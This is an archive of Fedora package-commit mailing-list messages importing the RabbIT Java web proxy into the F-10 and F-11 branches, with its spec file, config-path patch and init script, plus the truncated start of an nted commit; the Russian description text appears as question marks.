+++ sources	31 Oct 2009 09:46:22 -0000	1.2
@@ -0,0 +1 @@
+ee3ae82bf8757102aa748d2feed38727  rabbit4.1-src.tar.gz



From hubbitus at fedoraproject.org  Sat Oct 31 09:52:48 2009
From: hubbitus at fedoraproject.org (Pavel Alexeev)
Date: Sat, 31 Oct 2009 09:52:48 +0000 (UTC)
Subject: rpms/RabbIT/F-10 RabbIT-4.0.fedora-config-path.patch, NONE,
	1.1 RabbIT.spec, NONE, 1.1 import.log, NONE, 1.1 rabbit.init,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091031095249.6106711C0086@cvs1.fedora.phx.redhat.com>

Author: hubbitus

Update of /cvs/pkgs/rpms/RabbIT/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15542/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	RabbIT-4.0.fedora-config-path.patch RabbIT.spec import.log 
	rabbit.init 
Log Message:
Initial push RabbIT into Fedora.



RabbIT-4.0.fedora-config-path.patch:
 rabbit.conf |   10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

--- NEW FILE RabbIT-4.0.fedora-config-path.patch ---
diff -NaurEbBH conf.orig/rabbit.conf conf/rabbit.conf
--- conf.orig/rabbit.conf	2009-01-11 21:32:34.000000000 +0300
+++ conf/rabbit.conf	2009-03-29 16:02:05.000000000 +0400
@@ -49,10 +49,10 @@
 # is used or you can set the system property 
 # "java.util.logging.config.file" to configure your own loggers/handlers.
 #
-access_log=logs/access_log.%g
+access_log=/var/log/RabbIT/access_log.%g
 access_size_limit=10 # in MB
 access_num_files=100
-error_log=logs/error_log.%g
+error_log=/var/log/RabbIT/error_log.%g
 error_size_limit=1 # in MB
 error_num_files=10
 
@@ -242,7 +242,7 @@
 # This is a filter to allow simple accesscontrol.
 
 # this file store the available ip-ranges that can use the proxy.
-accessfile=conf/access
+accessfile=/etc/RabbIT/access
 
 
 [rabbit.filter.HttpBaseFilter]
@@ -254,7 +254,7 @@
 
 # authenticate users (basic method only) with this user-password file.
 # this is used for meta/admin access...
-userfile=conf/users
+userfile=/etc/RabbIT/users
 
 # If you set cookieid to "true" rabbit will not cache resources
 # that seem to use cookie based identification. This should only 
@@ -332,7 +332,7 @@
 # This filter is not enabled by default, add it to 
 # httpinfilters if you want it.
 # allowed user..
-userfile=conf/allowed
+userfile=/etc/RabbIT/allowed
 
 
 [rabbit.filter.SQLProxyAuth]   


--- NEW FILE RabbIT.spec ---
Name:		RabbIT
%define lname %( echo %{name} | tr 'A-Z' 'a-z' )

Version:		4.1
Release:		9%{?dist}
Summary:		Proxy for a faster web
Summary(ru):	?????? ??? ???????? ???????? ? ????
#By example of squid
Group:		System Environment/Daemons
License:		BSD
URL:			http://www.khelekore.org/rabbit/
Source0:		http://www.khelekore.org/rabbit/%{lname}%{version}-src.tar.gz
#Startup scrip to start/stop daemon. Self produced.
Source1:		%{lname}.init
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:	java-devel >= 1:1.6.0
BuildRequires:	jpackage-utils

Requires:		java >= 1:1.6.0, jpackage-utils
Requires:		ImageMagick, dnsjava

#Adjust only used paths in default config.
Patch0:		RabbIT-4.0.fedora-config-path.patch

Requires(pre):		/usr/sbin/useradd
Requires(post):	chkconfig
Requires(preun):	chkconfig
Requires(postun):	/usr/sbin/userdel

BuildArchitectures:	noarch

%description
RabbIT is a web proxy that speeds up web surfing over slow links by doing: 
	o Compress text pages to gzip streams. This reduces size by up to 75% 
	o Compress images to 10% jpeg. This reduces size by up to 95% 
	o Remove advertising 
	o Remove background images 
	o Cache filtered pages and images 
	o Uses keepalive if possible 
	o Easy and powerful configuration 
	o Multi threaded solution written in java 
	o Modular and easily extended 
	o Complete HTTP/1.1 compliance

%description -l ru
RabbIT ???? ???-?????? ??????? ???????? ??? ??????? ????? ????????? ??????.
???????? ??????????? ? ???????????:
	o ??????? (gzip) ??? ????????? ????????. ??? ????????? ?? ?????? ?? 75%
	o ??????? ???????? ? jpeg ? 10% ?????????. ??? ????????? ?? ?????? ?? 95%!
	o ??????? ???????
	o ??????? ??????? ????????
	o ???????? ???????? ? ????????
	o ???? ????????, ?????????? ?????????? ?????????? (keepalive)
	o ???????, ?? ?????? ?????????
	o ??????????????, ??????? ?? Java ? ???????? ??????????? ?????.
	o ????????? ? ????????????????
	o ?????? ????????? ????????? HTTP/1.1.

%prep
%setup -q -n %{lname}4

%patch0 -p0 -b .conf-path


%build
# https://fedoraproject.org/wiki/Packaging/Java#class-path-in-manifest
sed -i '/class-path/I d' Manifest.mf
#Adjust path ( https://fedoraproject.org/wiki/Packaging/Java#build-classpath ):
#? sed -i "s#../external_libs/dnsjava-2.[[:digit:]].[[:digit:]].jar#$(build-classpath dnsjava)#" Manifest.mf

make %{?_smp_mflags}

#Make script-wrapper
cat << HEREDOC > %{name}
#!/bin/sh
java -jar %{_javadir}/%{name}-%{version}.jar -f %{_sysconfdir}/%{name}/%{name}.conf
HEREDOC

# Author say what it is iso-8859-1
iconv -f iso-8859-1 -t UTF-8 htdocs/LICENSE.txt > htdocs/LICENSE.utf-8.txt
touch --reference htdocs/LICENSE.txt htdocs/LICENSE.utf-8.txt
iconv -f iso-8859-1 -t UTF-8 LICENSE > LICENSE.utf-8
touch --reference LICENSE LICENSE.utf-8
mv htdocs/LICENSE.utf-8.txt htdocs/LICENSE.txt
mv LICENSE.utf-8 LICENSE

%install
rm -rf %{buildroot}
install -d %{buildroot}/%{_javadir}
install -m644 jars/rabbit4.jar %{buildroot}/%{_javadir}/%{name}-%{version}.jar
install -d %{buildroot}/%{_bindir}
install -m755 %{name} %{buildroot}/%{_bindir}/%{name}

install -d %{buildroot}/%{_sysconfdir}/%{name}
install -d %{buildroot}/%{_initrddir}/

sed 's#{{HTDOCS}}#%{_datadir}/%{name}#' %{SOURCE1} > %{buildroot}/%{_initrddir}/%{lname}

install -d %{buildroot}/%{_datadir}/%{name}/htdocs
cp -r htdocs/* %{buildroot}/%{_datadir}/%{name}/htdocs/

install -d %{buildroot}/%{_localstatedir}/log/%{name}
#install -d %{buildroot}/%{_localstatedir}/run/%{name}.pid

touch %{buildroot}/%{_localstatedir}/log/%{name}/main_run.log

# We exclude rabbit.conf.orig, so, we can't do just install whole directory
install -m644 conf/access		%{buildroot}/%{_sysconfdir}/%{name}/
install -m644 conf/allowed		%{buildroot}/%{_sysconfdir}/%{name}/
install -m644 conf/cache_only.conf	%{buildroot}/%{_sysconfdir}/%{name}/
#install -m644 conf/empty.conf		%{buildroot}/%{_sysconfdir}/%{name}/
install -m644 conf/nocache.conf	%{buildroot}/%{_sysconfdir}/%{name}/
install -m644 conf/%{lname}.conf	%{buildroot}/%{_sysconfdir}/%{name}/%{name}.conf
install -m644 conf/users			%{buildroot}/%{_sysconfdir}/%{name}/

%pre
# Add the "rabbit" user
/usr/sbin/useradd -c "%{lname}" -s /sbin/nologin -r -d "%{_docdir}/%{name}-%{version}" %{lname} 2> /dev/null || :

%post
# Register service
/sbin/chkconfig --add %{lname}

%preun
if [ $1 = 0 ]; then
	/sbin/service %{lname} stop > /dev/null 2>&1
	/sbin/chkconfig --del %{lname}
fi

%postun
/usr/sbin/userdel %{lname}

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%attr(755,root,root) %{_initrddir}/%{lname}
%doc ChangeLog README Help.txt LICENSE
%{_datadir}/%{name}/
%{_javadir}/%{name}-%{version}.jar
%attr(755,%{lname},root) %{_bindir}/%{name}
%dir %attr(755,%{lname},root) %{_localstatedir}/log/%{name}
%attr(755,%{lname},root) %ghost %{_localstatedir}/log/%{name}/main_run.log
%config(noreplace) %{_sysconfdir}/%{name}/access
%config(noreplace) %{_sysconfdir}/%{name}/allowed
%config(noreplace) %{_sysconfdir}/%{name}/cache_only.conf
#%config(noreplace) %{_sysconfdir}/%{name}/empty.conf
%config(noreplace) %{_sysconfdir}/%{name}/nocache.conf
%config(noreplace) %{_sysconfdir}/%{name}/%{name}.conf
%config(noreplace) %{_sysconfdir}/%{name}/users

%changelog
* Sat Aug 15 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 4.1-9
- Step to version 4.1.
- Robert Oloffson kindly change version enumeration by my request, now tarball have version and release.
- Own log dir also by %%{lname} user

* Sun Aug 9 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 4.0-8
- Step to new version 4.0
- Use %%{name} in Source url
- Add %%ghost %%{_localstatedir}/log/%%{name}/main_run.log
- Own as rabbit user only binary file, not all package.
- Remove name from summary.
- Add russian localized Summary and description.
- Own %%{_datadir}/%%{name}/ instead of %%{_datadir}/%%{name}/htdocs
- Source1 RabbIT.init renamed to rabbit.init.
- Remade Patch0: RabbIT-3.17.fedora-config-path.patch -> RabbIT-4.0.fedora-config-path.patch
- Delete TODO from docs, it is not present anymore.
- Add lsb # Default-Start: 2 3 4 5, # Default-Stop: 0 1 6 to init file to do rpmlint happy. Turn pid and lock files to lowercase.
- Delete classpath from manifest.
- Default disable service running: --level -

* Mon Apr 27 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.18-7
- Accidentally leaved httpd instead on %%name in %%post script fixed.
- Path of http-root files changed from %%{_docdir}/%%{name}-%%{version} to %%{_datadir}/%%{name}

* Sun Apr 12 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.18-6
- In review ( https://bugzilla.redhat.com/show_bug.cgi?id=492810 ) was tald pack dnsjava separate. Do it:
	o Remove bundled jar-package
	o Cutoff classpath from manifest
	o Add Requires dnsjava

* Wed Apr 01 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.18-5
- New version 3.18

* Tue Mar 31 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.17-4
- After aontact author, now I known encoding of License (iso-8859-1) and recode it.
- Exclude /etc/RabbIT/empty.conf

* Sun Mar 29 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.17-3
- Add %%doc htdocs
- Add run from another user, not root! For that:
	o Add Requires(pre): /usr/sbin/useradd
	o Requires(postun): /usr/sbin/userdel
	o In pre and postun sections add/delete user rabbit.
- Add %%{_localstatedir}/log/%%{name} in package.
- Inspired by rpmlint:
	o %%{_initrddir}/%%{name} renamed to %%{_initrddir}/%%{lname}

* Sun Mar 29 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.17-2
- Add registration of service with chkconfig. Add it into Requires(post/preun), and according sections.
- BuildArchitectures: noarch
- Install also %%{_javadir}/dnsjava-2.0.6.jar

* Sun Mar 29 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.17-1
- Initial spec file.

--- NEW FILE import.log ---
RabbIT-4_1-9_fc11:F-10:RabbIT-4.1-9.fc11.src.rpm:1256982656


--- NEW FILE rabbit.init ---
#!/bin/bash
#
# rabbit        Startup script for the RabbIT proxy server
#
# chkconfig: - 85 15
# description: RabbIT is a web proxy that speeds up web surfing over slow links by doing: 
#	o Compress text pages to gzip streams. This reduces size by up to 75% 
#	o Compress images to 10% jpeg. This reduces size by up to 95% 
#	o Remove advertising 
#	o Remove background images 
#	o Cache filtered pages and images 
#	o Uses keepalive if possible 
#	o Easy and powerful configuration 
#	o Multi threaded solution written in java 
#	o Modular and easily extended 
#	o Complete HTTP/1.1 compliance
# config: /etc/RabbIT/access
# config: /etc/RabbIT/allowed
# config: /etc/RabbIT/cache_only.conf
# config: /etc/RabbIT/empty.conf
# config: /etc/RabbIT/nocache.conf
# config: /etc/RabbIT/rabbit.conf
# config: /etc/RabbIT/users
# pidfile: /var/run/RabbIT.pid
#
### BEGIN INIT INFO
# Provides: rabbit
# Required-Start: $local_fs $remote_fs $network $named
# Required-Stop: $local_fs $remote_fs $network
# Should-Start: distcache
# Default-Stop: 0 1 6
# Short-Description: Start and stop the RabbIT proxy server
# Description: RabbIT is a web proxy that speeds up web surfing over slow links by doing: 
#	o Compress text pages to gzip streams. This reduces size by up to 75% 
#	o Compress images to 10% jpeg. This reduces size by up to 95% 
#	o Remove advertising 
#	o Remove background images 
#	o Cache filtered pages and images 
#	o Uses keepalive if possible 
#	o Easy and powerful configuration 
#	o Multi threaded solution written in java 
#	o Modular and easily extended 
#	o Complete HTTP/1.1 compliance
### END INIT INFO

# Source function library.
. /etc/rc.d/init.d/functions

bin='/usr/bin/RabbIT'
prog='RabbIT proxy'
pidfile=${PIDFILE-/var/run/rabbit.pid}
lockfile=${LOCKFILE-/var/lock/subsys/rabbit}
HTDOCS_DIR="{{HTDOCS}}"
USER='rabbit'
RETVAL=0

start(){
	echo -n $"Starting $prog: "
	daemon +15 --pidfile="$pidfile" --user="$USER" sh -c "cd \"$HTDOCS_DIR\"; exec \"$bin\" 2>&1 >> /var/log/RabbIT/main_run.log &"
	RETVAL=$?
	echo
		if [ 0 -eq $RETVAL ]; then
		touch ${lockfile}
		#Pid of parent sh script
		p=$( __pids_pidof "$bin" )
			[ -n $p ] && echo "Error: pid not found" && exit 1
		# Pid of child. Real java process!!! Idea from: http://209.85.129.132/search?q=cache:QnI67WuZkRcJ:www.experts-exchange.com/Programming/System/Linux/Q_20943601.html+kill+all+childs&cd=14&hl=en&ct=clnk
		p=$(ps axef -o ppid,pid | sed -nr "s#^$p (.+)\$#\1#p")
		echo $p > "$pidfile"
		fi
	return $RETVAL
}

stop(){
	echo -n $"Stopping $prog: "
	killproc -p ${pidfile}
	RETVAL=$?
	echo
	[ $RETVAL = 0 ] && rm -f ${lockfile} ${pidfile}
}

# See how we were called.
case "$1" in
  start)
	start
	;;
  stop)
	stop
	;;
  status)
        status $bin
	RETVAL=$?
	;;
  restart)
	stop
	start
	;;
  condrestart)
	if [ -f ${pidfile} ] ; then
		stop
		start
	fi
	;;
  *)
	echo $"Usage: $prog {start|stop|restart|condrestart|status}"
	RETVAL=3
esac

exit $RETVAL

Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/RabbIT/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 00:04:58 -0000	1.1
+++ .cvsignore	31 Oct 2009 09:52:47 -0000	1.2
@@ -0,0 +1 @@
+rabbit4.1-src.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/RabbIT/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 00:04:59 -0000	1.1
+++ sources	31 Oct 2009 09:52:48 -0000	1.2
@@ -0,0 +1 @@
+ee3ae82bf8757102aa748d2feed38727  rabbit4.1-src.tar.gz



From hubbitus at fedoraproject.org  Sat Oct 31 10:00:32 2009
From: hubbitus at fedoraproject.org (Pavel Alexeev)
Date: Sat, 31 Oct 2009 10:00:32 +0000 (UTC)
Subject: rpms/RabbIT/F-11 RabbIT-4.0.fedora-config-path.patch, NONE,
	1.1 RabbIT.spec, NONE, 1.1 import.log, NONE, 1.1 rabbit.init,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091031100032.ACC8B11C0371@cvs1.fedora.phx.redhat.com>

Author: hubbitus

Update of /cvs/pkgs/rpms/RabbIT/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17929/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	RabbIT-4.0.fedora-config-path.patch RabbIT.spec import.log 
	rabbit.init 
Log Message:
Initial push RabbIT into Fedora.

RabbIT-4.0.fedora-config-path.patch:
 rabbit.conf |   10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

--- NEW FILE RabbIT-4.0.fedora-config-path.patch ---
diff -NaurEbBH conf.orig/rabbit.conf conf/rabbit.conf
--- conf.orig/rabbit.conf	2009-01-11 21:32:34.000000000 +0300
+++ conf/rabbit.conf	2009-03-29 16:02:05.000000000 +0400
@@ -49,10 +49,10 @@
 # is used or you can set the system property 
 # "java.util.logging.config.file" to configure your own loggers/handlers.
 #
-access_log=logs/access_log.%g
+access_log=/var/log/RabbIT/access_log.%g
 access_size_limit=10 # in MB
 access_num_files=100
-error_log=logs/error_log.%g
+error_log=/var/log/RabbIT/error_log.%g
 error_size_limit=1 # in MB
 error_num_files=10
 
@@ -242,7 +242,7 @@
 # This is a filter to allow simple accesscontrol.
 
 # this file store the available ip-ranges that can use the proxy.
-accessfile=conf/access
+accessfile=/etc/RabbIT/access
 
 
 [rabbit.filter.HttpBaseFilter]
@@ -254,7 +254,7 @@
 
 # authenticate users (basic method only) with this user-password file.
 # this is used for meta/admin access...
-userfile=conf/users
+userfile=/etc/RabbIT/users
 
 # If you set cookieid to "true" rabbit will not cache resources
 # that seem to use cookie based identification. This should only 
@@ -332,7 +332,7 @@
 # This filter is not enabled by default, add it to 
 # httpinfilters if you want it.
 # allowed user..
-userfile=conf/allowed
+userfile=/etc/RabbIT/allowed
 
 
 [rabbit.filter.SQLProxyAuth]   


--- NEW FILE RabbIT.spec ---
Name:		RabbIT
%define lname %( echo %{name} | tr 'A-Z' 'a-z' )

Version:		4.1
Release:		9%{?dist}
Summary:		Proxy for a faster web
Summary(ru):	?????? ??? ???????? ???????? ? ????
#By example of squid
Group:		System Environment/Daemons
License:		BSD
URL:			http://www.khelekore.org/rabbit/
Source0:		http://www.khelekore.org/rabbit/%{lname}%{version}-src.tar.gz
#Startup scrip to start/stop daemon. Self produced.
Source1:		%{lname}.init
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:	java-devel >= 1:1.6.0
BuildRequires:	jpackage-utils

Requires:		java >= 1:1.6.0, jpackage-utils
Requires:		ImageMagick, dnsjava

#Adjust only used paths in default config.
Patch0:		RabbIT-4.0.fedora-config-path.patch

Requires(pre):		/usr/sbin/useradd
Requires(post):	chkconfig
Requires(preun):	chkconfig
Requires(postun):	/usr/sbin/userdel

BuildArchitectures:	noarch

%description
RabbIT is a web proxy that speeds up web surfing over slow links by doing: 
	o Compress text pages to gzip streams. This reduces size by up to 75% 
	o Compress images to 10% jpeg. This reduces size by up to 95% 
	o Remove advertising 
	o Remove background images 
	o Cache filtered pages and images 
	o Uses keepalive if possible 
	o Easy and powerful configuration 
	o Multi threaded solution written in java 
	o Modular and easily extended 
	o Complete HTTP/1.1 compliance

%description -l ru
RabbIT ???? ???-?????? ??????? ???????? ??? ??????? ????? ????????? ??????.
???????? ??????????? ? ???????????:
	o ??????? (gzip) ??? ????????? ????????. ??? ????????? ?? ?????? ?? 75%
	o ??????? ???????? ? jpeg ? 10% ?????????. ??? ????????? ?? ?????? ?? 95%!
	o ??????? ???????
	o ??????? ??????? ????????
	o ???????? ???????? ? ????????
	o ???? ????????, ?????????? ?????????? ?????????? (keepalive)
	o ???????, ?? ?????? ?????????
	o ??????????????, ??????? ?? Java ? ???????? ??????????? ?????.
	o ????????? ? ????????????????
	o ?????? ????????? ????????? HTTP/1.1.

%prep
%setup -q -n %{lname}4

%patch0 -p0 -b .conf-path


%build
# https://fedoraproject.org/wiki/Packaging/Java#class-path-in-manifest
sed -i '/class-path/I d' Manifest.mf
#Adjust path ( https://fedoraproject.org/wiki/Packaging/Java#build-classpath ):
#? sed -i "s#../external_libs/dnsjava-2.[[:digit:]].[[:digit:]].jar#$(build-classpath dnsjava)#" Manifest.mf

make %{?_smp_mflags}

#Make script-wrapper
cat << HEREDOC > %{name}
#!/bin/sh
java -jar %{_javadir}/%{name}-%{version}.jar -f %{_sysconfdir}/%{name}/%{name}.conf
HEREDOC

# Author say what it is iso-8859-1
iconv -f iso-8859-1 -t UTF-8 htdocs/LICENSE.txt > htdocs/LICENSE.utf-8.txt
touch --reference htdocs/LICENSE.txt htdocs/LICENSE.utf-8.txt
iconv -f iso-8859-1 -t UTF-8 LICENSE > LICENSE.utf-8
touch --reference LICENSE LICENSE.utf-8
mv htdocs/LICENSE.utf-8.txt htdocs/LICENSE.txt
mv LICENSE.utf-8 LICENSE

%install
rm -rf %{buildroot}
install -d %{buildroot}/%{_javadir}
install -m644 jars/rabbit4.jar %{buildroot}/%{_javadir}/%{name}-%{version}.jar
install -d %{buildroot}/%{_bindir}
install -m755 %{name} %{buildroot}/%{_bindir}/%{name}

install -d %{buildroot}/%{_sysconfdir}/%{name}
install -d %{buildroot}/%{_initrddir}/

sed 's#{{HTDOCS}}#%{_datadir}/%{name}#' %{SOURCE1} > %{buildroot}/%{_initrddir}/%{lname}

install -d %{buildroot}/%{_datadir}/%{name}/htdocs
cp -r htdocs/* %{buildroot}/%{_datadir}/%{name}/htdocs/

install -d %{buildroot}/%{_localstatedir}/log/%{name}
#install -d %{buildroot}/%{_localstatedir}/run/%{name}.pid

touch %{buildroot}/%{_localstatedir}/log/%{name}/main_run.log

# We exclude rabbit.conf.orig, so, we can't do just install whole directory
install -m644 conf/access		%{buildroot}/%{_sysconfdir}/%{name}/
install -m644 conf/allowed		%{buildroot}/%{_sysconfdir}/%{name}/
install -m644 conf/cache_only.conf	%{buildroot}/%{_sysconfdir}/%{name}/
#install -m644 conf/empty.conf		%{buildroot}/%{_sysconfdir}/%{name}/
install -m644 conf/nocache.conf	%{buildroot}/%{_sysconfdir}/%{name}/
install -m644 conf/%{lname}.conf	%{buildroot}/%{_sysconfdir}/%{name}/%{name}.conf
install -m644 conf/users			%{buildroot}/%{_sysconfdir}/%{name}/

%pre
# Add the "rabbit" user
/usr/sbin/useradd -c "%{lname}" -s /sbin/nologin -r -d "%{_docdir}/%{name}-%{version}" %{lname} 2> /dev/null || :

%post
# Register service
/sbin/chkconfig --add %{lname}

%preun
if [ $1 = 0 ]; then
	/sbin/service %{lname} stop > /dev/null 2>&1
	/sbin/chkconfig --del %{lname}
fi

%postun
/usr/sbin/userdel %{lname}

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%attr(755,root,root) %{_initrddir}/%{lname}
%doc ChangeLog README Help.txt LICENSE
%{_datadir}/%{name}/
%{_javadir}/%{name}-%{version}.jar
%attr(755,%{lname},root) %{_bindir}/%{name}
%dir %attr(755,%{lname},root) %{_localstatedir}/log/%{name}
%attr(755,%{lname},root) %ghost %{_localstatedir}/log/%{name}/main_run.log
%config(noreplace) %{_sysconfdir}/%{name}/access
%config(noreplace) %{_sysconfdir}/%{name}/allowed
%config(noreplace) %{_sysconfdir}/%{name}/cache_only.conf
#%config(noreplace) %{_sysconfdir}/%{name}/empty.conf
%config(noreplace) %{_sysconfdir}/%{name}/nocache.conf
%config(noreplace) %{_sysconfdir}/%{name}/%{name}.conf
%config(noreplace) %{_sysconfdir}/%{name}/users

%changelog
* Sat Aug 15 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 4.1-9
- Step to version 4.1.
- Robert Oloffson kindly change version enumeration by my request, now tarball have version and release.
- Own log dir also by %%{lname} user

* Sun Aug 9 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 4.0-8
- Step to new version 4.0
- Use %%{name} in Source url
- Add %%ghost %%{_localstatedir}/log/%%{name}/main_run.log
- Own as rabbit user only binary file, not all package.
- Remove name from summary.
- Add russian localized Summary and description.
- Own %%{_datadir}/%%{name}/ instead of %%{_datadir}/%%{name}/htdocs
- Source1 RabbIT.init renamed to rabbit.init.
- Remade Patch0: RabbIT-3.17.fedora-config-path.patch -> RabbIT-4.0.fedora-config-path.patch
- Delete TODO from docs, it is not present anymore.
- Add lsb # Default-Start: 2 3 4 5, # Default-Stop: 0 1 6 to init file to do rpmlint happy. Turn pid and lock files to lowercase.
- Delete classpath from manifest.
- Default disable service running: --level -

* Mon Apr 27 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.18-7
- Accidentally leaved httpd instead on %%name in %%post script fixed.
- Path of http-root files changed from %%{_docdir}/%%{name}-%%{version} to %%{_datadir}/%%{name}

* Sun Apr 12 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.18-6
- In review ( https://bugzilla.redhat.com/show_bug.cgi?id=492810 ) was tald pack dnsjava separate. Do it:
	o Remove bundled jar-package
	o Cutoff classpath from manifest
	o Add Requires dnsjava

* Wed Apr 01 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.18-5
- New version 3.18

* Tue Mar 31 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.17-4
- After aontact author, now I known encoding of License (iso-8859-1) and recode it.
- Exclude /etc/RabbIT/empty.conf

* Sun Mar 29 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.17-3
- Add %%doc htdocs
- Add run from another user, not root! For that:
	o Add Requires(pre): /usr/sbin/useradd
	o Requires(postun): /usr/sbin/userdel
	o In pre and postun sections add/delete user rabbit.
- Add %%{_localstatedir}/log/%%{name} in package.
- Inspired by rpmlint:
	o %%{_initrddir}/%%{name} renamed to %%{_initrddir}/%%{lname}

* Sun Mar 29 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.17-2
- Add registration of service with chkconfig. Add it into Requires(post/preun), and according sections.
- BuildArchitectures: noarch
- Install also %%{_javadir}/dnsjava-2.0.6.jar

* Sun Mar 29 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.17-1
- Initial spec file.

--- NEW FILE import.log ---
RabbIT-4_1-9_fc11:F-11:RabbIT-4.1-9.fc11.src.rpm:1256983011


--- NEW FILE rabbit.init ---
#!/bin/bash
#
# rabbit        Startup script for the RabbIT proxy server
#
# chkconfig: - 85 15
# description: RabbIT is a web proxy that speeds up web surfing over slow links by doing: 
#	o Compress text pages to gzip streams. This reduces size by up to 75% 
#	o Compress images to 10% jpeg. This reduces size by up to 95% 
#	o Remove advertising 
#	o Remove background images 
#	o Cache filtered pages and images 
#	o Uses keepalive if possible 
#	o Easy and powerful configuration 
#	o Multi threaded solution written in java 
#	o Modular and easily extended 
#	o Complete HTTP/1.1 compliance
# config: /etc/RabbIT/access
# config: /etc/RabbIT/allowed
# config: /etc/RabbIT/cache_only.conf
# config: /etc/RabbIT/empty.conf
# config: /etc/RabbIT/nocache.conf
# config: /etc/RabbIT/rabbit.conf
# config: /etc/RabbIT/users
# pidfile: /var/run/RabbIT.pid
#
### BEGIN INIT INFO
# Provides: rabbit
# Required-Start: $local_fs $remote_fs $network $named
# Required-Stop: $local_fs $remote_fs $network
# Should-Start: distcache
# Default-Stop: 0 1 6
# Short-Description: Start and stop the RabbIT proxy server
# Description: RabbIT is a web proxy that speeds up web surfing over slow links by doing: 
#	o Compress text pages to gzip streams. This reduces size by up to 75% 
#	o Compress images to 10% jpeg. This reduces size by up to 95% 
#	o Remove advertising 
#	o Remove background images 
#	o Cache filtered pages and images 
#	o Uses keepalive if possible 
#	o Easy and powerful configuration 
#	o Multi threaded solution written in java 
#	o Modular and easily extended 
#	o Complete HTTP/1.1 compliance
### END INIT INFO

# Source function library.
. /etc/rc.d/init.d/functions

bin='/usr/bin/RabbIT'
prog='RabbIT proxy'
pidfile=${PIDFILE-/var/run/rabbit.pid}
lockfile=${LOCKFILE-/var/lock/subsys/rabbit}
HTDOCS_DIR="{{HTDOCS}}"
USER='rabbit'
RETVAL=0

start(){
	echo -n $"Starting $prog: "
	daemon +15 --pidfile="$pidfile" --user="$USER" sh -c "cd \"$HTDOCS_DIR\"; exec \"$bin\" 2>&1 >> /var/log/RabbIT/main_run.log &"
	RETVAL=$?
	echo
		if [ 0 -eq $RETVAL ]; then
		touch ${lockfile}
		#Pid of parent sh script
		p=$( __pids_pidof "$bin" )
			[ -n $p ] && echo "Error: pid not found" && exit 1
		# Pid of child. Real java process!!! Idea from: http://209.85.129.132/search?q=cache:QnI67WuZkRcJ:www.experts-exchange.com/Programming/System/Linux/Q_20943601.html+kill+all+childs&cd=14&hl=en&ct=clnk
		p=$(ps axef -o ppid,pid | sed -nr "s#^$p (.+)\$#\1#p")
		echo $p > "$pidfile"
		fi
	return $RETVAL
}

stop(){
	echo -n $"Stopping $prog: "
	killproc -p ${pidfile}
	RETVAL=$?
	echo
	[ $RETVAL = 0 ] && rm -f ${lockfile} ${pidfile}
}

# See how we were called.
case "$1" in
  start)
	start
	;;
  stop)
	stop
	;;
  status)
        status $bin
	RETVAL=$?
	;;
  restart)
	stop
	start
	;;
  condrestart)
	if [ -f ${pidfile} ] ; then
		stop
		start
	fi
	;;
  *)
	echo $"Usage: $prog {start|stop|restart|condrestart|status}"
	RETVAL=3
esac

exit $RETVAL

Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/RabbIT/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 00:04:58 -0000	1.1
+++ .cvsignore	31 Oct 2009 10:00:31 -0000	1.2
@@ -0,0 +1 @@
+rabbit4.1-src.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/RabbIT/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 00:04:59 -0000	1.1
+++ sources	31 Oct 2009 10:00:31 -0000	1.2
@@ -0,0 +1 @@
+ee3ae82bf8757102aa748d2feed38727  rabbit4.1-src.tar.gz



From ndim at fedoraproject.org  Sat Oct 31 10:10:12 2009
From: ndim at fedoraproject.org (Hans Ulrich Niedermann)
Date: Sat, 31 Oct 2009 10:10:12 +0000 (UTC)
Subject: rpms/nted/devel .cvsignore, 1.14, 1.15 nted.spec, 1.22, 1.23 sources,
	1.14, 1.15
Message-ID: <20091031101012.5996211C0086@cvs1.fedora.phx.redhat.com>

Author: ndim

Update of /cvs/pkgs/rpms/nted/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19634

Modified Files:
	.cvsignore nted.spec sources 
Log Message:
* Sat Oct 31 2009 Hans Ulrich Niedermann <hun at n-dimensional.de> - 1.9.2-1
